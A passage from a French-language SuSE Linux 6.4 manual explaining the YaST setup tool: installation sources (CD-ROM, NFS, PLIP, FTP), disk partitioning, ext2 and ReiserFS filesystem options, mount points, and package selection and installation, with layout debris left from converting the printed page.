interprétés simultanément._Dans_ce________ cas, vous devrez simuler_l'utilisation_de_la_touche_de_fonction |F_________________|_ par la combinaison_|C______t|rl+|f__||_______________<|chiffre>._Pour_|F____1|0,_vous_pouvez faire la combinaison |C______|trl+|f_ ||_0|. Les touches de fonction |F____1|1et |F____1|2ne sont pas utilisées sous YaST . * * 81 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 3.2 Le menu principal de YaST Lorsque vous démarrez YaST , vous vous trouvez dans le ``menu principal'' (figure 3.1). Fig. 3.1: Le ``menu principal'' de YaST `Aide à l'installation et pour la disposition du clavier' Informations diverses `Configurations pour l'installation ->' Cette option comprend une sous-option (voir paragraphe 3.3). `Déterminer/démarrer l'installation' À partir de là, on arrive au choix des paquetages logiciels à installer ou à supprimer du système (voir paragraphe 3.4 page 94). `Mettre à jour le système' Si certains paquetages doivent être actua- lisés. `Administration du système ->' C'est par cette option que l'on dé- ploie le menu pour l'administration du système (voir paragraphe 3.6 page 100). `Afficher le fichier README du support d'installation' Informations complémentaires importantes. `Copyright' La parole est aux juristes. `Quitter YaST' ~ Toute chose a une fin. 3.3 Configurations pour l'installation Toutes les configurations importantes pour l'installation seront effectuées dans le sous-menu `Configurations_ pour l'installation' (figure 3.2 page suivante). Avec |É_______c|hap, vous pourrez quitter les menus. L'installation proprement dite ne peut être réalisée que si vous avez spéci- fié vos partitions de destination ! Il est encore possible après l'installation de choisir quelques options si l'on souhaite actualiser certains détails de la confi- guration. 82 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ Fig. 3.2: Menu `Configurations pour l'installation' 3.3.1 Déterminer la langue Avec l'option `Déterminer la langue', vous pouvez changer la langue des masques de YaST . La valeur est insérée dans la variable LANGUAGE posi- tionnée dans /etc/rc.config (voir page 452). 3.3.2 Sélectionner la disposition du clavier Avec `Sélectionner la disposition du clavier', vous pouvez mo- difier l'affectation des touches du clavier. La valeur est insérée dans la va- riable inscrite dans /etc/rc.config (voir paragraphe 17.6 page 452). 3.3.3 Sélectionner le support d'installation Ce dialogue (figure 3.3 page suivante) vous donne la possibilité de sélection- ner le support à partir duquel vous voulez installer en invoquant l'option du menu `Sélectionner la source d'installation'. Dans le cas le plus fréquent, vous choisirez ici l'option du menu `Instal- lation à partir du CD-ROM' si vous voulez installer directement à partir du lecteur de CD-ROM de votre machine. En passant par l'option du menu `Installation à partir d'une par- tition de disque dur', vous pouvez aussi installer votre système même si votre lecteur de CD-ROM n'est pas directement supporté par Linux (voir paragraphe 3.3.5 page suivante). Si vous avez intégré le contenu des CD dans l'arborescence Linux, vous pouvez sélectionner l'option `Installation à partir d'un répertoire accessible'. Avec `Installation via NFS' ou `Installation à partir d'un serveur FTP', vous pouvez installer Linux sur une machine qui ne dispose pas de son propre lecteur de CD-ROM, à condition toutefois qu'elle soit reliée par + Ethernet à une machine dotée d'un lecteur de CD-ROM. Lisez à ce sujet le paragraphe 3.3.6 page 85 ou le paragraphe 3.3.8 page 87. * * 83 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.3: Sélection de la source d'installation dans YaST 3.3.4 Installation à partir du CD-ROM Fig. 3.4: Sélection du lecteur de CD-ROM Si vous pouvez installer directement à partir d'un CD-ROM, spécifiez ici le type de votre lecteur. Si vous êtes indécis, commencez vos essais avec les lecteurs `ATAPI EIDE'. 3.3.5 Installation à partir d'une partition du disque dur Dans le cas où votre lecteur de CD-ROM ne serait pas directement supporté par Linux, vous pouvez quand même installer le système sur votre machine. Mais vous devrez alors faire un détour en passant par un autre support d'ins- tallation. 84 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ 3.3.6 Installation via NFS L'installation par le biais d'un réseau donne aux utilisateurs de Linux pos- sédant déjà une certaine expérience la possibilité d'installer simplement et commodément plusieurs machines, même si une seule d'entre elles est dotée d'un lecteur de CD-ROM ou dans le cas où les fichiers sources peuvent être mis à disposition sur un disque dur accessible via + NFS. Il est toutefois né- cessaire que vous soyez familiarisé avec la configuration d'un serveur NFS avant de vous lancer dans une installation via NFS. Cette caractéristique rend également possible l'installation d'un portable type notebook disposant d'une carte réseau PCMCIA. Fig. 3.5: Entrée des données du réseau pour l'installation NFS L'installation via NFS n'est pas seulement possible pour les machines inter- connectées par Ethernet mais elle peut aussi se faire sur une machine connec- tée sur port parallèle à un serveur. Cette caractéristique présente un intérêt particulier pour les laptops et les notebooks. Si vous voulez procéder à une telle installation, vous devrez naturellement sélectionner, lors de l'amorçage, un noyau disposant d'un support PLIP. Mais dans ce cas il vous faudra effec- tuer quelques paramétrages supplémentaires afin que l'interface PLIP puisse être configurée de façon correcte. Si vous êtes relié directement au serveur NFS, l'adresse de la machine PLIP distante est la même que celle que vous devrez spécifier ensuite comme adresse du serveur NFS. L'inferface PLIP sera dans la majeure partie des cas plip1 . Les paramètres matériels ne devraient pas non plus, sauf dans de très rares cas, s'éloigner des valeurs courantes. Notez toutefois que si vous utilisez le port parallèle comme interface PLIP, vous ne pourrez plus vous servir d'une imprimante sur celui-ci ! Dans de nombreux cas, une imprimante connectée à une telle interface provoque une réinitialisation permanente dès que le pilote entre en action ! * * 85 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.6: Configuration PLIP Dans le masque suivant, vous spécifierez l'adresse IP du serveur NFS ainsi que le répertoire qui abrite les fichiers sources. Le serveur doit bien entendu exporter ce répertoire vers la machine sur laquelle se fait la nouvelle installa- tion ! 3.3.7 Installation à partir d'un répertoire accessible Cette option sert essentiellement à installer des logiciels supplémentaires lorsque Linux tourne déjà. Elle offre par ailleurs, le cas échéant, la possibilité d'installer Linux avec des lecteurs pour lesquels aucun pilote n'était encore disponible au moment de la création du CD. Pour pouvoir maintenant, à partir de YaST , accéder à ce lecteur, lancez d'abord_YaST_. Lorsque_ce sera fait, passez sur une autre console (par exemple avec |____Al|t+|F___|2sur le deuxième console virtuelle) et connectez-vous sur celle- ci en tant qu'utilisateur `root'. À partir de cette console, vous devrez alors + monter votre lecteur de CD- ROM manuellement sur un répertoire précis en tapant par exemple : terre: # mount -tiso9660 /dev/cdrom /cdrom Voyez aussi à ce sujet le paragraphe 19.11.2 page 500. Vous pouvez maintenant procéder à une installation tout à fait normale. Pour cela, vous devrez spécifier dans le prochain masque (figure 3.7 page suivante) le répertoire qui abrite les fichiers sources. C'est le répertoire sur lequel le CD a été monté, complété par le chemin suse. Si vous avez par exemple monté le lecteur (ou la partition de disque dur sur le répertoire /cdrom, faites alors la même entrée que dans la figure 3.7 page ci-contre : /cdrom/suse 86 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ Fig. 3.7: Spécification du répertoire source 3.3.8 Installation via FTP Tout comme avec NFS, vous avez ici la possibilité d'installer SuSE Linux sur une machine ne disposant pas de lecteur de CD-ROM (supporté). Ceci présume toutefois que la configuration de base du réseau ait déjà été effectuée. Fig. 3.8: Spécifications nécessaires pour l'installation via FTP `Serveur FTP [Nom|IP]' Le nom ou l'adresse IP du serveur FTP. `Répertoire du serveur' L'emplacement auquel se trouve le répertoire suse sur le serveur FTP. `[ ] Utiliser un proxy ?' Ne marquez d'une croix cette option que si vous êtes sûr de devoir utiliser un proxy FTP. En règle générale, un proxy n'est pas nécessaire. Il est en outre indispensable qu'il s'agisse d'un véri- table proxy FTP car il n'est pas possible d'utiliser de proxy HTTP. * * 87 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Proxy [Nom|IP]' Ne faites une entrée que si vous avez marqué d'une croix l'option précédente. `[X] Port FTP par défaut ?' Vous devez normalement faire une croix. `Port [Numéro]' Devrait normalement être positionnée à 21 . `[X] FTP anonyme ?' Marquez toujours d'une croix si vous voulez utiliser un serveur FTP public. `Login' Si vous n'avez pas marqué d'une croix l'option précédente, inscri- vez ici le nom d'utilisateur et ensuite, à la prochaine option, `Mot de passe' le mot de passe. `Timeout [Secondes]' 60 est une bonne valeur. `Répertoire Tmp local' Le répertoire local dans lequel les fichiers doivent être stockés temporairement. Remarque : YaST établit uniquement des connexions FTP passives. 3.3.9 Partitionner le(s) disque(s) dur(s) Le point critique de l'installation d'un nouveau système d'exploitation est le partitionnement du disque dur. Habituellement, chaque système d'exploita- tion a besoin au minimum d'une partition qui lui est propre. ________________________________________________________________________________________________________* *________||| | * * ||| | Mais il est aussi possible d'installer Linux sur un système de fichiers DOS * * ||| | existant. Vous ne devriez toutefois recourir à cette possibilité que si vous * * ||| | * * ||| | voulez seulement avoir un aperçu du système pour vous en faire une idée. * * ||| | La performance est de loin inférieure à celle d'une installation sur des * * ||| | * * ||| | partitions séparées spécifiques à Linux. Et le système est aussi moins sûr * * ||| | car il n'existe pas, par exemple, de programmes de vérification du système * * ||| | * * ||| | de fichiers pour MS-DOS et Linux peut aussi être influencé par DOS. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous prévoyez d'offrir ses propres partitions à Linux, vous avez la possibi- lité de répartir votre système sur plusieurs partitions. La répartition d'un sys- tème Unix est une question de goût personnel et de philosophie et il n'existe donc pas de ``voie royale'' (voir paragraphe 2.8 page 67 et paragraphe 2.9 page 68).Vous trouverez un exemple détaillé de partitionnement au para- graphe 2.10.1 page 75. Vous devriez en tout cas prévoir une partition de swap séparée qui agrandira la mémoire virtuelle (+ mémoire) de votre machine (voir paragraphe 2.9.1 page 70). Bien que l'utilisation d'un fichier d'échange (swap) soit possible, cela n'est pas recommandable pour des raisons de performance car tous les accès à ce fichier doivent se faire en passant par le système de fichiers. Tout particulièrement si votre machine ne dispose que de peu de mémoire, le fichier d'échange ne constitue pas une alternative à une partition de swap séparée. Si vous avez plus d'un disque dur dans votre machine, il vous sera demandé de choisir le disque que vous souhaitez partitionner à la prochaine phase de travail. Vous arriverez alors à un menu qui vous montre le partitionnement actuel de votre disque dur (voir figure 3.9 page suivante). 88 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ Fig. 3.9: Partitionnement Avec les touches du curseur |"__|et |#__|, vous pouvez vous déplacer dans_la liste des partitions disponibles et modifier le type d'une partition avec |F___|3. Avec F4 , |||||||||__vous effacez une partition existante et avec |F___|_5vous pouvez créer une nouvelle partition. Il est absolument indispensable de modifier le type de partition (avec | ____|F3) lorsqu'une partition de swap doit être créée. Il est possible qu'il ne soit pas indispensable de repartitionner si vous avez décidé, par exemple, de consa- crer à Linux une partition actuellement utilisée par un autre système d'ex- ploitation. Dans un tel cas, placez_tout simplement le curseur sur la partition correspondante et appuyez sur |F___|3. Notez que Linux ne pose aucune condition au sujet du type des partitions sur lesquelles il doit être installé : Il est possible d'installer Linux aussi bien sur une partition primaire que sur une partition logique contenue dans une partition étendue. Le concept des partitions logiques a été adopté du fait qu'il n'y de place que pour quatre entrées dans la table des partitions. Si l'on a besoin de plus de quatre partitions, on doit alors transformer l'une des partitions en partition étendue dans laquelle seront créées des partitions logiques1 . 3.3.10 Spécifier les partitions cibles ou les systèmes de fichiers Après avoir divisé le disque dur en partitions, vous devrez attribuer à ces par- titions des sous-répertoires dans l'arborescence des répertoires Linux. Choi- sissez pour cela l'option `Spécifier les partitions-cibles / les systèmes de fichiers'. Dans l'exemple donné par la figure 3.10 page suivante, vous voyez le par- titionnement d'un système avec un disque dur. Vous pouvez maintenant dé- terminer si chaque partition doit être formatée et, le cas échéant, de quelle 1 ____________________________________________________ Les partitions étendues ainsi que les partitions logiques sont désignées par le fdisk de DOS sous le nom de partitions DOS étendues ou unités logiques bien que la validité de ce concept s'étende au delà des limites des systèmes d'exploitation. * * 89 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.10: Détermination des systèmes de fichiers manière. Vous pouvez aussi déterminer à quel point de votre arborescence des répertoires elle devra plus tard être montée. Vous devez prévoir exactement une partition comme partition ``root'' ! Elle porte ce nom car elle représente la racine (angl. root) de tous les répertoires. C'est pourquoi il lui est assigné le + point de montage `/ '. Les différentes fonctions pour la manipulation des systèmes de fichiers sont obtenues par les touches de fonction correspondantes. Vous pouvez, en règle générale, ne traiter que des partitions Linux. Si le curseur se trouve sur une partition d'un autre système d'exploitation, toutes les fonctions sont désactivées exceptée la détermination du point de montage. Déterminer le type Avec |F___|_3, vous pouvez faire votre choix entre les deux systèmes de fichiers ext2 et reiserfs . `ext2' ~ Le système de fichiers ext2 (angl. second extended-filesystem) est établi depuis de longues années comme système de fichiers standard. `reiserfs' ~ ReiserFS est un système de fichiers de la prochaine géné- ration. Bien qu'il soit encore très récent, ce système de fichiers est déjà utilisé dans de nombreux domaines (entre autre sur quelques uns de nos systèmes de serveurs internes). Vous devez absolument tenir compte des informations contenues dans /usr/doc/packages/reiserfs/README. En étroite collaboration avec SuSE , le groupe de développement qui s'est formé autour de Hans Reiser et de Chris Mason a apporté des ex- tensions au performant système de fichiers ReiserFS pour en faire un sys- tème de fichiers journalisé (angl. journaling filesystem). La fonction de journalisation garantit qu'une vérification des systèmes de fichiers (angl. filesystem check) pourra être effectuée en quelques secondes même sur de grands serveurs. 90 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ _______________________________________________________________________________________________________________________ |||||||| N'utilisez pas ReiserFS conjointement à RAID 1 et RAID 5 logiciels. Avec ||| | ||||||||| le RAID matériel, il n'y a aucune restriction. Une partition ReiserFS doit || || |||||||| avoir actuellement une taille d'au moins 34 Mo. ||| | ||||||||_______________________________________________________________________________________________________________||_ Pour éviter tout problème, créez une partition /boot séparée avec le sys- tème de fichiers ext2 et installez-y LILO . Ceci représente la configura- tion par défaut de SuSE Linux. Les utilitaires pour ReiserFS sont contenus dans le paquetage reiserfs, série a. Vous trouverez des informations récentes sous : http://devlinux.com/projects/reiserfs/ Point de montage Avec F||||__4, vous pouvez déterminer à quel emplacement de l'arborescence des répertoires la partition concernée devra être montée. Vous devez assigner le fichier racine (/) pour une partition. Vous pouvez faire monter vos partitions DOS/Windows sous des noms de répertoires appropriés où vous pourrez plus tard les retrouver facilement, par exemple /dosc pour la première partition DOS et /dosd pour la deuxième, etc. _______________________________________________________________________________________________________________________|| |||||||| Tenez compte du fait que tous les points de montage doivent être spéci- ||| | |||||||| || | |||||||| fiés avec des noms de chemins absolus et que les noms de répertoires ne || | |||||||| doivent pas contenir de caractères spéciaux ! Vous ne devez en aucun cas || | |||||||| || | |||||||| placer les répertoires /etc, /bin, /sbin, /lib et /dev sur des partitions || | |||||||| séparées car ils contiennent entre autre des commandes nécessaires, lors || | |||||||| || | |||||||| de l'amorçage, au montage des autres systèmes de fichiers ! || | ||||||||_______________________________________________________________________________________________________________||_ Il existe une particularité pour les partitions DOS/Windows ! Elles peuvent être intégrées de trois manières différentes dans l'arborescence des réper- toires. ~ Premièrement comme partitions DOS ``normales'' (= msdos ) avec toutes les restrictions du système de fichiers DOS, ~ Deuxièmement comme FAT-Win95 (= vfat ), ce qui permet d'utiliser des noms de fichiers longs. ~ Troisièmement comme partitions dites UMSDOS , ce qui permet aussi l'uti- lisation de noms de fichiers longs sur des partitions DOS ``normales''. Ce type est requis uniquement si vous voulez placer des fichiers Linux sur la partition DOS mais il ne s'avère pas bien efficace si vous n'utilisez la par- tition DOS que pour l'échange de données. Dans la mesure du possible, évitez UMSDOS ! Menu expert pour affiner la configuration des systèmes de fichiers Le menu expert (figure 3.11 page suivante) vous donne la possibilité d'opti- miser votre configuration. La densité des + i-noeuds indique la taille moyenne prévue pour une partition. Le nombre d'i-noeuds détermine combien de fichiers peuvent être créés sur * * 91 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.11: Menu expert pour la configuration des systèmes de fichiers une partition. Si ce nombre est trop petit, il peut arriver qu'une partition soit considérée comme saturée bien qu'elle ait encore des blocs disponibles. Si l'on choisit par exemple une densité de 4096 octets par i-noeud, cela si- gnifie que tous les fichiers devraient avoir une taille moyenne de 4 Ko. Si une telle partition ne contient que des fichiers d'une taille d'un kilo-octet seule- ment, on ne pourra utiliser que le quart du disque car le système de fichiers est considéré comme entièrement plein. La taille des i-noeuds de 4 Ko par fichier s'est avérée comme étant une bonne valeur standard (un nombre plus important d'i-noeuds par partition signifie naturellement moins de place effective pour les données car la table des i- noeuds doit aussi être stockée en mémoire). Si une partition doit être utilisée comme zone de spool, par exemple pour les news, une valeur de 2084 octets par i-noeud devrait être choisie car les différents articles constituent typique- ment de très petits fichiers. Une autre raison qui justifie un nombre important d'i-noeuds est l'intégration du système live car environ 40.000 fichiers sont inclus dans le système de fichiers par des liens symboliques qui requièrent respectivement un i-noeud. La taille des blocs influe sur la durée de la vérification du système de fichiers (angl. filesystem check). La durée est inversement proportionnelle au carré de la taille des blocs. Une vérification qui se traîne en longueur est pour le moins fastidieuse. Suggestion pour la taille des blocs : 1024 (= 1 Ko) pour les partitions d'une taille de 1 Go et 4096 (= 4 Ko) pour 4 Go. Il est en outre déterminé ici sous quelles conditions une vérification du sys- tème de fichiers devra avoir lieu et il peut être tenu compte de la fréquence des montages. Spécification de la zone réservée à l'utilisateur `root'. Il devrait toujours être réservé une zone pour `root' lorsque les partitions sont utilisées en commun par des programmes système et des utilisateurs réguliers. Une parti- tion /home séparée ne doit pas obligatoirement offrir de la place à l'utilisateur `root'. 92 ________________________________________________________________________3.3.__Configurations_pour_l'installation____________* *______________________ Le comportement en cas d'erreur peut être spécifié. Si une erreur se produit dans un système de fichiers, le fonctionnement peut continuer normalement (continue ), la partition peut être remontée en lecture seule (remount-ro ) ou le système complèt peut immédiatement être arrêté (panic ). L'option adé- quate doit être choisie en tenant compte de l'utilisation à laquelle est destiné le système. Ne modifiez la valeur par défaut continue que si vous savez exactement ce que vous faites ! Formatage des partitions Avec F||||__6, vous pouvez déterminer si les partitions doivent être formatées et le cas échéant de quelle manière. Avec les disques modernes (SCSI) ``flam- bant neufs'', il n'est pas nécessaire, pendant le formatage, de faire effectuer un contrôle pour rechercher des secteurs défectueux mais vous pouvez le spé- cifier pour plus de sécurité. Dans ce cas le formatage prend nettement plus de temps. Lecture du fichier fstab En appuyant sur |F___|_7, vous pouvez lire un fichier fstab déjà existant. Vous verrez aussi l'affichage des entrées de fstab qui ne font pas partie du système de fichiers du disque dur (swap, proc, nfs-mount, entrées de CD-ROM etc). Celles-ci sont faites en grisé et ne peuvent pas être modifiées. Mais elles sont conservées lorsque fstab est stocké en mémoire. Cette fonctionnalité est nécessaire lorsque vous voulez effectuer une mise à jour de votre système (voir paragraphe 15.1.3 page 404) car dans ce cas YaST doit savoir sur quelles partitions le système est réparti. Il est aussi tout à fait possible d'avoir parallèlement plusieurs partitions Linux sur une machine. 3.3.11 Configurer le Logical Volume Manager Vous trouverez des informations sur le configuration du ``Logical Volume Manager'' (LVM) dans le Howto LVM officiel sous http://linux.msede.com/lvm/ 3.3.12 Installation dans un répertoire Vous pouvez, avec YaST , effectuer une installation complète dans un réper- toire pendant le fonctionnement du système. Il est par exemple possible de mettre à jour une autre machine via NFS, de mettre en place un ``environne- ment chroot'' ou d'effectuer une installation Linux sur un deuxième disque à partir d'un système en fonctionnement. Ce mode d'installation n'est prévu que pour les cas particuliers. Si certains périphériques doivent être montés sous le répertoire spécifié, vous devez ef- fectuer cette opération vous-même avant d'installer selon cette méthode. Vous devez tout particulièrement veiller vous-même à ce que le système ins- tallé soit amorçable. Il sera probablement nécessaire aussi, dans le système nouvellement installé, de modifier le fichier fstab créé par YaST . Spécifiez maintenant, dans le champ d'entrée, le répertoire dans lequel vous voulez installer. * * 93 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 3.4 Déterminer la taille de l'installation Après avoir terminé la configuration de votre système de fichiers, sélectionnez dans le menu principal `Déterminer/démarrer l'installation' afin de fixer le volume des paquetages à installer et (ou) de démarrer l'installation. Vous avez la possibilité d'élaborer vos propres profils d'installation, de les stocker en mémoire ou de les charger. Fig. 3.12: Déterminer la taille de l'installation Vous pouvez en outre démarrer l'installation à partir de ce menu et voir d'abord ce qui se passerait si la configuration actuelle était installée. 3.4.1 Charger la configuration Sous l'option `Charger la configuration', vous trouverez quelques _ configurations_que nous avons déjà prédéfinies. Avec les touches fléchées |"__|_____ et |#_ |, vous pouvez accéder à une ``configuration'' prédéfinie et avec |E_________|space, vous pouvez sélectionner ou désélectionner une option. Le système minimal, par exemple, permet de lancer Linux à partir du disque dur et de procéder ensuite à l'installation d'autres paquetages. Si vous avez déjà élaboré votre propre profil d'installation, vous pourrez bien sûr le relire ici. Ceci est surtout utile si vous voulez installer plusieurs ma- chines avec une configuration identique. Si vous avez déjà installé un système, n'oubliez pas en chargeant une autre configuration que les paquetages déjà installés ne faisant pas partie de la nou- velle configuration doivent être marqués pour être effacés. Si vous voulez cependant conserver tous ces paquetages, répondez simplement Non lorsqu'il vous sera demandé, après que vous ayez invoqué l'option du menu `Démar- rer l'installation', si vous voulez les effacer. Autrement, vous devrez désélectionner un par un avec `[D]' les paquetages marqués pour être effacés (la désignation `[i]' devra de nouveau apparaître). 94 _____________________________________________________________________3.4.__Déterminer_la_taille_de_l'installation___________* *______________________ 3.4.2 Enregistrer la configuration Vous pouvez ici enregistrer votre propre configuration. Si YaST a été lancé à partir d'une disquette, celle-ci sera utilisée pour sauvegarder la configura- tion. Si vous avez amorcé directement à partir du CD, il vous sera demandé d'insérer une disquette formatée sur laquelle les données pourront être sauve- gardées. 3.4.3 Modifier la configuration Par le choix de cette option, vous passez à l'éditeur de sélection (figure 3.13) qui vous permet de déterminer librement la taille de l'installation ou de mo- difier une configuration préparée et chargée (voir paragraphe 3.4.1 page ci- contre). Cette option vous donne aussi la possibilité, après l'installation, de supprimer des paquetages déjà installés. Fig. 3.13: Sélection des séries dans YaST Avec les touches du curseur |"__|et |#__|ainsi qu'avec |P__________|ageet"|P__________|age, #vous pouvez vous déplacer dans la liste de sélection et choisir une série. La fenêtre ci-dessous vous renseigne sur l'espace occupé sur le disque dur. Avec F||||__4il est possible, comme alternative à la sélection des séries, de choisir un autre groupement des paquetages (figure 3.14 page suivante) ; il existe actuellement, à côté de `Séries', la variante `Tous les paquetages'. C'est là que se cachent la vieille série ALL et la série paquetages sources. Vous pouvez quitter une sélection, par exemple la sélection des séries, avec F10 |||||||||__pour retourner ainsi au menu général de configuration. Si sur l'une des séries vous appuyez sur |______|-, vous arrivez à la sélection des paquetages de la série correspondante (figure 3.15 page suivante vous montre, par exemple, le contenu de la série a). Si vous avez déjà chargé auparavant une configuration, les paquetages déjà sélectionnés sont marqués d'une croix. La fenêtre de droite vous informe sur la place que la configuration actuelle occuperait sur chacune de vos partitions en étant répartie sur celles-ci. Vous voyez ici, dans la fenêtre du bas, une brève description du paquetage sur lequel se trouve en ce moment le curseur. Dans la fenêtre de droite, vous * * 95 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Fig. 3.14: Reclasser les paquetages dans YaST Fig. 3.15: Sélection des paquetages, série a1 (Système de base) voyez quel est actuellement l'espace nécessité sur vos partitions. Ces valeurs sont régulièrement actualisées dès que vous sélectionnez ou désélectionnez un paquetage. Dans certains cas, la place disponible n'est pas suffisante pour l'affichage des informations concernant_les paquetages_ou les partitions. Vous pourrez alors, en appuyant sur |___F|2ou |___F|3, obtenir un gros plan de la fenêtre du bas ou de la fenêtre de droite et voir de plus près les informations dans une boîte particulière. Devant le nom des paquetages, il est indiqué le statut actuel de chacun : `[ ]' désigne un paquetage qui n'est pas encore installé `[X]' désigne un paquetage à installer 96 _____________________________________________________________________3.4.__Déterminer_la_taille_de_l'installation___________* *______________________ `[i]' désigne un paquetage déjà installé `[D]' désigne un paquetage à effacer `[R]' désigne un paquetage qui doit être actualisé Avec _|||__|-, on peut changer le statut des_paquetages en basculant entre `[ ]' et `[X]' ou entre `[i]', `[R]' et `[D]'. |F___|6fait démarrer l'installation du paquetage source correspondant. Voir, au sujet des_paquetages sources, le pa- ragraphe 15.3.3 page 419. Si vous appuyez sur |____F1|0dans cette sélection, vous reviendrez à la sélection des séries. Si vous voulez quitter la sélection des pa- quetages_sans_que_vos modifications soient enregistrées, appuyez simplement sur Éc||||___|_hap. Si, pendant le déroulement de la configuration, vous deviez constater que l'espace disque que vous aviez prévu n'est pas suffisant pour l'installation que vous voulez faire ou qu'il est nécessaire de diviser le disque d'une autre manière, vous pouvez à tout moment effectuer un repartitionnement de votre disque dur. Le partitionnement proprement dit n'aura lieu que lorsque vous quitterez YaST . Si YaST tourne à partir d'une disquette, installez d'abord une configuration absolument minimale, lancez ensuite Linux puis installez le reste de vos pa- quetages. Vous pouvez toutefois, dans cette première phase, sélectionner à titre d'essai les paquetages que vous désirez afin de vous informer sur l'es- pace requis par la configuration de votre choix. 3.4.4 Que se passerait-il si... YaST peut aussi être utilisé pour désinstaller des paquetages. C'est pour cette raison qu'il existe cette option de menu avec laquelle vous pouvez vous assu- rer que vous n'effacez pas de fichiers absolument indispensables au fonction- nement de votre système. 3.4.5 Démarrer l'installation Cette option démarre l'installation proprement dite. Tous les paquetages que vous avez choisis sont lus depuis le support d'installation, décompressés et écrits sur les partitions de destination. Si pendant la présente exécution de YaST vous avez modifié le partitionne- ment de votre disque dur, l'installation n'est naturellement plus possible car la machine doit être réamorcée après une modification des données de parti- tionement. En outre, les données modifiées n'ont pas encore été écrites dans la table des partitions. Cette opération aura lieu seulement lorsque vous quit- terez YaST . Pendant l'installation, il sera affiché dans la fenêtre du bas d'éventuels mes- sages d'erreur et des messages concernant le statut des paquetages. Dans la première ligne, YaST vous fait savoir quel paquetage est en cours d'installa- tion. Lorsque l'installation sera terminée, vous pourrez passer avec | _____|Tabà la fe- nêtre de protocole et faire un défilement à l'écran pour pouvoir analyser d'éventuels messages d'erreur. * * 97 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 3.4.6 Vérifier les dépendances des paquetages YaST vérifie les dépendances des paquetages déjà installés et des paquetages sélectionnés pour l'installation, sauf celles des paquetages devant être effacés - en d'autres termes les dépendances des paquetages qui seraient installés si vous aviez déjà sélectionné `Démarrer l'installation'. Il existe les modes de dépendance suivants : ________________________________________________________________________________________________________* *________ AND Lorsque le paquetage doit être installé, vous devez aussi instal- ler tous les autres paquetages (à moins qu'ils ne soient déjà ins- tallés). Exemple : Lorsqu'on installe un compilateur, on a aussi besoin des fichiers include et des libs. OR Lorsque le paquetage doit être installé, vous devez installer au moins l'un des paquetages spécifiés (à moins qu'il ne soit déjà installé). EXCL Lorsque le paquetage doit être installé, vous ne devriez installer aucun des paquetages spécifiés (et ils ne devraient pas non plus être déjà installés). ________________________________________________________________________________________________________* *________ Tab. 3.1: Dépendances entre les paquetages Une liste des dépendances détectées vous est ensuite présentée. 3.4.7 Index de toutes les séries et de tous les paquetages Il vous est simplement montré ici une liste de tous les paquetages qui se trouvent sur le CD. Les paquetages marqués de l'astérisque `*' sont soit déjà installés, soit sélectionnés pour l'installation. Cette fonction est très utile si vous voulez avoir rapidement une vue d'ensemble. 3.4.8 Information sur les paquetages De temps en temps, on aimerait savoir où se cache, sur le CD SuSE Linux, le fichier sensationnel dont on a appris l'existence par une revue d'informatique. Pour une recherche simple et (relativement) rapide des fichiers et des paque- tages aussi bien sur le CD SuSE Linux que dans le système installé, il existe l'information sur les paquetages. Vous pouvez spécifier dans son masque les noms des fichiers à rechercher et YaST explorera le support indiqué pour retrouver ces fichiers et listera leur emplacement. 3.4.9 Inclure des paquetages Prenez cette option si vous voulez ``inclure'' des paquetages de votre choix, tels que par exemple des versions corrigées ou de nouvelles versions que nous tenons à votre disposition sur notre serveur FTP ftp.suse.com. Mais il peut s'agir aussi de paquetages que vous avez peut-être élaborés vous-même ou que vous vous êtes procurés à d'autres sources. Les archives tar compressées (.tgz) sont supportées, de même que les paquetages RPM (.rpm, .spm, 98 _____________________________________________________________________3.4.__Déterminer_la_taille_de_l'installation___________* *______________________ .src.rpm) et les paquetages de patches spéciaux (.pat) que nous mettons aussi à votre disposition sur notre serveur FTP. La procédure d'installation se déroule en 3_étapes_(des instructions détaillées vous seront données si vous appuyez sur |F___|1) : ~ Sélection de la source d'installation ~ Sélection parmi les paquetages qui y sont proposés ~ Installation des paquetages Sous l'option du menu `Source :' vous obtiendrez, avec |_____|_-, une liste de sélection des sources d'installation possibles : `Répertoire', `FTP', `Support d'installation' et `Disquette'. Modifiez le _cas_ échéant le chemin préconfiguré (répertoire/FTP) et validez avec | _____|-. YaST établit maintenant une liste des paquetages qui y sont disponibles. Avec `FTP', il est donc possible d'installer directement à partir d'Internet. L'adresse est : ftp.suse.com:/pub/suse/i386 /update/6.4 (voir figure 3.16). Il n'est pas encore possible pour le moment d'intégrer des paquetages par le biais d'un ``proxy''. Il vous faut un accès direct au serveur FTP concerné. Fig. 3.16: Inclure des paquetages via FTP _______________________________________________________________________________________________________________________|| |||||||| Si vous recevez un message tel que "530 User ftp access denied.", ||| | |||||||| || | |||||||| cela signifie probablement qu'un login FTP n'est pas possible actuellement || | |||||||| du fait que les utilisateurs déjà connectés sont trop nombreux. Faites une || | |||||||| || | |||||||| nouvelle tentative plus tard. || | ||||||||_______________________________________________________________________________________________________________||_ Avancez jusqu'au paquetage rpm que vous voulez _installer._ Vous devrez comme d'habitude le marquer d'une croix avec |_________E|spaceet l'installer avec F10 |||||||||__. Le paquetage concerné sera ensuite placé dans le répertoire /tmp/ftp afin qu'il soit possible de l'instal- ler manuellement plus tard si quelque chose ne marche pas (voir para- graphe 15.3.1 page 415) . * * 99 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 3.4.10 Effacer des paquetages Si vous sélectionnez cette option du menu, YaST vous montre une liste de tous les paquetages qui sont installés dans votre système. Il vous montre aussi des paquetages ``étrangers'', 